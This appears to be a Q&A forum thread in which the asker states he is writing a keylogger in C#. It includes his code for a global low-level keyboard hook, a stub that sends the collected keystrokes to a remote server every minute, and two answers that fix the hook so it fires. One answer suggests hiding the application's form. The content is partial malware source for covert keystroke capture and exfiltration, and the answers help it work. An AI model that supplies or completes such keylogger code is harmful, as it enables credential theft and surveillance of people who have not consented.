Tomas Vorac
Tomas Vorac

Reputation: 53

Low level keyboard hook not being called in .NET application

I am writing a keylogger in C# but am having some trouble getting my hook method called from the keyboard events. My code appears correct but for some reason the callback is not happening.

Here is the relevant code:

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

private const int WH_KEYBOARD_LL = 13;
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookHandle = IntPtr.Zero;

static void Main()
{
    /* install low level global keyboard hook */
    HookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, GetModuleHandle(null), 0);

    /* every 60 seconds, process collected keystrokes */
    for (;;)
    {
        Thread.Sleep(60000);
        SendKeyData();
    }
}

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    /* code to handle key events would be here */

    return CallNextHookEx(HookHandle, nCode, wParam, lParam);
}

private static void SendKeyData()
{
    /* code to send accumulated keystroke data to remote server would be here */
}

The SetWindowsHookEx call returns a handle (i.e. not a null) as it should, so it should mean that it is installed, but when I put a breakpoint in HookCallback, it is never reached.

Can anyone please advise what I may be doing wrong?

Upvotes: 5

Views: 1931

Answers (2)

Looks like you are writing a console application. This should be a forms application, since you are handling windows events. Just hide the form, and it should work.

As a work-around for console applications, you could call Application.DoEvents() in your loop:

for (;;)
{
    Thread.Sleep(1);
    Application.DoEvents(); //Process event queue
    SendKeyData();
}

Please use this for good, not evil.

Upvotes: 4

jvstech
jvstech

Reputation: 864

Try replacing GetModuleHandle(null) with

GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName)

and see if that does the trick. Note that both the Process object returned from GetCurrentProcess() and the ProcessModule object returned from MainModule are disposable so you may want to declare them as variables and then dispose of them manually; even better, put them in a using block.

Upvotes: 0

Related Questions